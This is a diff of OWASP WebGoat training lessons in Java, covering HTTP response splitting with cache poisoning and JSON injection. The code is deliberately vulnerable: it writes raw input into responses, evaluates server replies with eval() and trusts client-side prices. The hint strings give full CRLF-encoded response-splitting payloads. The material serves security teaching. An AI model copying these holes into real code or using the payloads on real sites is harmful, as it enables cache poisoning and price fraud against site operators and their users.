return super.getCustomCredits("", ASPECT_LOGO); return super.getCustomCredits("", ASPECT_LOGO);
} }
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.PrintWriter; import java.io.PrintWriter;
@ -5,293 +6,261 @@ import java.net.URLDecoder;
import java.text.DateFormat; import java.text.DateFormat;
import java.text.SimpleDateFormat; import java.text.SimpleDateFormat;
import java.util.*; import java.util.*;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import org.apache.ecs.*; import org.apache.ecs.*;
import org.apache.ecs.html.*; import org.apache.ecs.html.*;
import org.owasp.webgoat.session.ECSFactory; import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created September 30, 2006 * @created September 30, 2006
*/ */
public class HttpSplitting extends SequentialLessonAdapter public class HttpSplitting extends SequentialLessonAdapter
{ {
private final static String LANGUAGE = "language"; private final static String LANGUAGE = "language";
private final static String REDIRECT = "fromRedirect"; private final static String REDIRECT = "fromRedirect";
private static String STAGE = "stage"; private static String STAGE = "stage";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
/** /**
* Description of the Method * Description of the Method
* *
* @param s Current WebSession * @param s
*/ * Current WebSession
public void handleRequest(WebSession s) */
{ public void handleRequest(WebSession s)
//Setting a special action to be able to submit to redirect.jsp
Form form = new Form("/WebGoat/lessons/General/redirect.jsp?"
+ "Screen=" + String.valueOf(getScreenId()) + "&menu="
+ getDefaultCategory().getRanking().toString(), Form.POST)
.setName("form").setEncType("");
form.addElement(createContent(s));
setContent(form);
}
protected Element doHTTPSplitting(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lang = null;
try
{ {
ec.addElement(createAttackEnvironment(s)); // Setting a special action to be able to submit to redirect.jsp
lang = URLDecoder.decode(s.getParser() Form form = new Form("/WebGoat/lessons/General/redirect.jsp?" + "Screen=" + String.valueOf(getScreenId())
.getRawParameter(LANGUAGE, ""), "UTF-8"); + "&menu=" + getDefaultCategory().getRanking().toString(), Form.POST).setName("form").setEncType("");
//Check if we are coming from the redirect page form.addElement(createContent(s));
String fromRedirect = s.getParser().getStringParameter(
"fromRedirect", "");
if (lang.length() != 0 && fromRedirect.length() != 0) setContent(form);
{ }
//Split by the line separator line.separator is platform independant
String lineSep = System.getProperty("line.separator");
String[] arrTokens = lang.toString().toUpperCase().split(
lineSep);
//Check if the user ended the first request and wrote the second malacious reply protected Element doHTTPSplitting(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lang = null;
if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0 try
&& Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
{ {
HttpServletResponse res = s.getResponse(); ec.addElement(createAttackEnvironment(s));
res.setContentType("text/html"); lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
PrintWriter out = new PrintWriter(res.getOutputStream());
String message = lang.substring(lang.indexOf("<html>"));
out.print(message); // Check if we are coming from the redirect page
out.flush(); String fromRedirect = s.getParser().getStringParameter("fromRedirect", "");
out.close();
getLessonTracker(s).setStage(2); if (lang.length() != 0 && fromRedirect.length() != 0)
{
// Split by the line separator line.separator is platform independant
String lineSep = System.getProperty("line.separator");
String[] arrTokens = lang.toString().toUpperCase().split(lineSep);
StringBuffer msg = new StringBuffer(); // Check if the user ended the first request and wrote the second malacious reply
msg.append("Good Job! "); if (Arrays.binarySearch(arrTokens, "CONTENT-LENGTH: 0") >= 0
msg && Arrays.binarySearch(arrTokens, "HTTP/1.1 200 OK") >= 0)
.append("This lesson has detected your successfull attack, "); {
msg HttpServletResponse res = s.getResponse();
.append("time to elevate your attack to a higher level. "); res.setContentType("text/html");
msg PrintWriter out = new PrintWriter(res.getOutputStream());
.append("Try again and add Last-Modified header, intercept"); String message = lang.substring(lang.indexOf("<html>"));
msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString()); out.print(message);
out.flush();
out.close();
} getLessonTracker(s).setStage(2);
}
}
catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
}
StringBuffer msg = new StringBuffer();
protected Element createContent(WebSession s) msg.append("Good Job! ");
{ msg.append("This lesson has detected your successfull attack, ");
return super.createStagedContent(s); msg.append("time to elevate your attack to a higher level. ");
} msg.append("Try again and add Last-Modified header, intercept");
msg.append("the reply and replace it with a 304 reply.");
s.setMessage(msg.toString());
protected Element doStage1(WebSession s) throws Exception }
{ }
return doHTTPSplitting(s); } catch (Exception e)
}
protected Element doStage2(WebSession s) throws Exception
{
return doCachePoisining(s);
}
protected Element createAttackEnvironment(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
String lang = null;
if (getLessonTracker(s).getStage() == 1)
{
ec.addElement(new H3("Stage 1: HTTP Splitting:<br><br>"));
}
else
{
ec.addElement(new H3("Stage 2: Cache Poisoning:<br><br>"));
}
ec.addElement(new StringElement("Search by country : "));
lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""),
"UTF-8");
//add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
ec.addElement(input);
Element b = ECSFactory.makeButton("Search!");
ec.addElement(b);
return ec;
}
protected Element doCachePoisining(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
try
{
s
.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ " the victim's cache. Type 'restart' in the input field if you wish to "
+ " to return to the HTTP Splitting lesson.<br><br>");
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals(
"restart"))
{
getLessonTracker(s).getLessonProperties().setProperty(STAGE,
"1");
return (doHTTPSplitting(s));
}
ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter(
LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser()
.getStringParameter(REDIRECT, "");
if (lang.length() != 0 && fromRedirect.length() != 0)
{
String lineSep = System.getProperty("line.separator");
String dateStr = lang.substring(lang.indexOf("Last-Modified:")
+ "Last-Modified:".length(), lang.indexOf(lineSep, lang
.indexOf("Last-Modified:")));
if (dateStr.length() != 0)
{ {
Calendar cal = Calendar.getInstance(); s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
DateFormat sdf = new SimpleDateFormat(
"EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{
makeSuccess(s);
}
} }
} return (ec);
} }
catch (Exception ex)
protected Element createContent(WebSession s)
{ {
ec.addElement(new P().addElement(ex.getMessage())); return super.createStagedContent(s);
} }
return ec;
}
protected Element doStage1(WebSession s) throws Exception
{
return doHTTPSplitting(s);
}
protected Category getDefaultCategory() protected Element doStage2(WebSession s) throws Exception
{ {
return Category.GENERAL; return doCachePoisining(s);
} }
protected Element createAttackEnvironment(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
String lang = null;
protected List<String> getHints(WebSession s) if (getLessonTracker(s).getStage() == 1)
{ {
ec.addElement(new H3("Stage 1: HTTP Splitting:<br><br>"));
}
else
{
ec.addElement(new H3("Stage 2: Cache Poisoning:<br><br>"));
}
ec.addElement(new StringElement("Search by country : "));
List<String> hints = new ArrayList<String>(); lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line");
hints
.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
hints
.add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
hints
.add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
return hints;
} // add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
ec.addElement(input);
private final static Integer DEFAULT_RANKING = new Integer(20); Element b = ECSFactory.makeButton("Search!");
ec.addElement(b);
protected Integer getDefaultRanking() return ec;
{ }
return DEFAULT_RANKING;
}
protected Element doCachePoisining(WebSession s) throws Exception
{
ElementContainer ec = new ElementContainer();
/** try
* Gets the title attribute of the HelloScreen object {
* s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
* @return The title value + " the victim's cache. Type 'restart' in the input field if you wish to "
*/ + " to return to the HTTP Splitting lesson.<br><br>");
public String getTitle() if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart"))
{ {
return ("HTTP Splitting"); getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
} return (doHTTPSplitting(s));
}
ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
String fromRedirect = s.getParser().getStringParameter(REDIRECT, "");
public Element getCredits() if (lang.length() != 0 && fromRedirect.length() != 0)
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); String lineSep = System.getProperty("line.separator");
} String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang
.indexOf(lineSep, lang.indexOf("Last-Modified:")));
if (dateStr.length() != 0)
{
Calendar cal = Calendar.getInstance();
DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{
makeSuccess(s);
}
}
}
} catch (Exception ex)
{
ec.addElement(new P().addElement(ex.getMessage()));
}
return ec;
}
protected Category getDefaultCategory()
{
return Category.GENERAL;
}
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line");
hints.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("Cache Poisoning starts with including 'Last-Modified' header in the hijacked page and setting it to a future date.");
hints
.add("Try language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aLast-Modified:%20Mon,%2027%20Oct%202003%2014:50:18%20GMT%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
hints
.add("'Last-Modified' header forces the browser to send a 'If-Modified-Since' header. Some cache servers will take the bait and keep serving the hijacked page");
hints
.add("Try to intercept the reply and add HTTP/1.1 304 Not Modified0d%0aDate:%20Mon,%2027%20Oct%202030%2014:50:18%20GMT");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("HTTP Splitting");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
} }

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -13,303 +13,286 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.List; import java.util.List;
import java.util.ArrayList; import java.util.ArrayList;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created December 25, 2006 * @created December 25, 2006
*/ */
public class JSONInjection extends LessonAdapter public class JSONInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(30); private final static Integer DEFAULT_RANKING = new Integer(30);
private final static String TRAVEL_FROM = "travelFrom"; private final static String TRAVEL_FROM = "travelFrom";
private final static String TRAVEL_TO = "travelTo"; private final static String TRAVEL_TO = "travelTo";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{
try
{ {
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ try
{
if (s.getParser().getRawParameter("from", "").equals("ajax"))
{
String lineSep = System.getProperty("line.separator");
String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep
+ "\"flights\": [" + lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]"
+ lineSep + "}";
s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
out.print(jsonStr);
out.flush();
out.close();
return;
}
} catch (Exception ex)
{
ex.printStackTrace();
}
Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
form.setOnSubmit("return check();");
form.addElement(createContent(s));
setContent(form);
}
/**
* Description of the Method
*
* @param s
* Current WebSession
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String jsonStr = "{" String script = "<script>"
+ lineSep + lineSep
+ "\"From\": \"Boston\"," + "function getFlights() {"
+ lineSep + lineSep
+ "\"To\": \"Seattle\", " + "var fromField = document.getElementById('"
+ lineSep + TRAVEL_FROM
+ "\"flights\": [" + "');"
+ lineSep + lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + "if (fromField.value.length < 3 || fromField.value!='BOS') { return; }"
+ lineSep + lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + "var toField = document.getElementById('"
+ lineSep + "]" + lineSep + "}"; + TRAVEL_TO
s.getResponse().setContentType("text/html"); + "');"
s.getResponse().setHeader("Cache-Control", "no-cache"); + lineSep
PrintWriter out = new PrintWriter(s.getResponse() + "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
.getOutputStream()); + lineSep
out.print(jsonStr); + "var url = '"
out.flush(); + getLink()
out.close(); + "&from=ajax&"
return; + TRAVEL_FROM
} + "=' + encodeURIComponent(fromField.value) +"
+ "'&"
+ TRAVEL_TO
+ "=' + encodeURIComponent(toField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var card = eval('(' + req.responseText + ')');"
+ lineSep
+ " var flightsDiv = document.getElementById('flightsDiv');"
+ lineSep
+ " flightsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td>No of Stops</td>';"
+ lineSep
+ " strHTML = strHTML + '<td>Stops</td><td>Prices</td></tr>';"
+ lineSep
+ " for(var i=0; i<card.flights.length; i++){"
+ lineSep
+ " var node = card.flights[i];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"radio'+i+'\" type=\"radio\" id=\"radio'+i+'\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].stops + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].transit + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + '<div name=\"priceID'+i+'\" id=\"priceID'+i+'\">' + card.flights[i].price + '</div></td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table border=\"1\">' + strHTML + '</table>';"
+ lineSep
+ " flightsDiv.innerHTML = strHTML;"
+ lineSep
+ " }}}"
+ lineSep
+
"function check(){"
+ lineSep
+ " if ( document.getElementById('radio0').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}"
+ lineSep
+ " else if ( document.getElementById('radio1').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("From: "));
Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_FROM);
tr.addElement(new TD(in));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("To: "));
in = new Input(Input.TEXT, TRAVEL_TO, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_TO);
tr.addElement(new TD(in));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "flightsDiv");
div.addAttribute("id", "flightsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
Input price2Submit = new Input();
price2Submit.setType(Input.HIDDEN);
price2Submit.setName("price2Submit");
price2Submit.setValue("");
price2Submit.addAttribute("id", "price2Submit");
ec.addElement(price2Submit);
if (s.getParser().getRawParameter("radio0", "").equals("on"))
{
String price = s.getParser().getRawParameter("price2Submit", "");
price = price.replace("$", "");
if (Integer.parseInt(price) < 600)
{
makeSuccess(s);
}
else
{
s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
}
}
return ec;
} }
catch (Exception ex)
public Element getCredits()
{ {
ex.printStackTrace(); return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO);
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") protected Category getDefaultCategory()
.setEncType("");
form.setOnSubmit("return check();");
form.addElement(createContent(s));
setContent(form);
}
/**
* Description of the Method
*
* @param s Current WebSession
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String lineSep = System.getProperty("line.separator");
String script = "<script>"
+ lineSep
+ "function getFlights() {"
+ lineSep
+ "var fromField = document.getElementById('"
+ TRAVEL_FROM
+ "');"
+ lineSep
+ "if (fromField.value.length < 3 || fromField.value!='BOS') { return; }"
+ lineSep
+ "var toField = document.getElementById('"
+ TRAVEL_TO
+ "');"
+ lineSep
+ "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
+ lineSep
+ "var url = '" + getLink()
+ "&from=ajax&"
+ TRAVEL_FROM
+ "=' + encodeURIComponent(fromField.value) +"
+ "'&"
+ TRAVEL_TO
+ "=' + encodeURIComponent(toField.value);"
+ lineSep
+ "if (typeof XMLHttpRequest != 'undefined') {"
+ lineSep
+ "req = new XMLHttpRequest();"
+ lineSep
+ "} else if (window.ActiveXObject) {"
+ lineSep
+ "req = new ActiveXObject('Microsoft.XMLHTTP');"
+ lineSep
+ " }"
+ lineSep
+ " req.open('GET', url, true);"
+ lineSep
+ " req.onreadystatechange = callback;"
+ lineSep
+ " req.send(null);"
+ lineSep
+ "}"
+ lineSep
+ "function callback() {"
+ lineSep
+ " if (req.readyState == 4) { "
+ lineSep
+ " if (req.status == 200) { "
+ lineSep
+ " var card = eval('(' + req.responseText + ')');"
+ lineSep
+ " var flightsDiv = document.getElementById('flightsDiv');"
+ lineSep
+ " flightsDiv.innerHTML = '';"
+ lineSep
+ " var strHTML='';"
+ lineSep
+ " strHTML = '<tr><td>&nbsp;</td><td>No of Stops</td>';"
+ lineSep
+ " strHTML = strHTML + '<td>Stops</td><td>Prices</td></tr>';"
+ lineSep
+ " for(var i=0; i<card.flights.length; i++){"
+ lineSep
+ " var node = card.flights[i];"
+ lineSep
+ " strHTML = strHTML + '<tr><td><input name=\"radio'+i+'\" type=\"radio\" id=\"radio'+i+'\"></td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].stops + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + card.flights[i].transit + '</td><td>';"
+ lineSep
+ " strHTML = strHTML + '<div name=\"priceID'+i+'\" id=\"priceID'+i+'\">' + card.flights[i].price + '</div></td></tr>';"
+ lineSep
+ " }"
+ lineSep
+ " strHTML = '<table border=\"1\">' + strHTML + '</table>';"
+ lineSep
+ " flightsDiv.innerHTML = strHTML;"
+ lineSep
+ " }}}"
+ lineSep
+
"function check(){"
+ lineSep
+ " if ( document.getElementById('radio0').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID0').innerHTML; return true;}"
+ lineSep
+ " else if ( document.getElementById('radio1').checked )"
+ lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep
+ " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0)
.setWidth("90%").setAlign("center");
TR tr = new TR();
tr.addElement(new TD("From: "));
Input in = new Input(Input.TEXT, TRAVEL_FROM, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_FROM);
tr.addElement(new TD(in));
t1.addElement(tr);
tr = new TR();
tr.addElement(new TD("To: "));
in = new Input(Input.TEXT, TRAVEL_TO, "");
in.addAttribute("onkeyup", "getFlights();");
in.addAttribute("id", TRAVEL_TO);
tr.addElement(new TD(in));
t1.addElement(tr);
ec.addElement(t1);
ec.addElement(new BR());
ec.addElement(new BR());
Div div = new Div();
div.addAttribute("name", "flightsDiv");
div.addAttribute("id", "flightsDiv");
ec.addElement(div);
Input b = new Input();
b.setType(Input.SUBMIT);
b.setValue("Submit");
b.setName("SUBMIT");
ec.addElement(b);
Input price2Submit = new Input();
price2Submit.setType(Input.HIDDEN);
price2Submit.setName("price2Submit");
price2Submit.setValue("");
price2Submit.addAttribute("id", "price2Submit");
ec.addElement(price2Submit);
if (s.getParser().getRawParameter("radio0", "").equals("on"))
{ {
String price = s.getParser().getRawParameter("price2Submit", ""); return Category.AJAX_SECURITY;
price = price.replace("$", "");
if (Integer.parseInt(price) < 600)
{
makeSuccess(s);
}
else
{
s
.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
}
} }
return ec;
}
public Element getCredits() protected List<String> getHints(WebSession s)
{ {
return super.getCustomCredits("Created by Sherif Koussa", MAC_LOGO); List<String> hints = new ArrayList<String>();
} hints.add("JSON stands for JavaScript Object Notation.");
hints.add("JSON is a way of representing data just like XML.");
hints.add("The JSON payload is easily interceptable.");
hints.add("Intercept the reply, change the $600 to $25.");
return hints;
protected Category getDefaultCategory() }
{
return Category.AJAX_SECURITY;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s) /**
{ * Gets the title attribute of the HelloScreen object
List<String> hints = new ArrayList<String>(); *
hints.add("JSON stands for JavaScript Object Notation."); * @return The title value
hints.add("JSON is a way of representing data just like XML."); */
hints.add("The JSON payload is easily interceptable."); public String getTitle()
hints.add("Intercept the reply, change the $600 to $25."); {
return hints; return ("JSON Injection");
}
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("JSON Injection");
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -13,321 +13,271 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.TextArea; import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
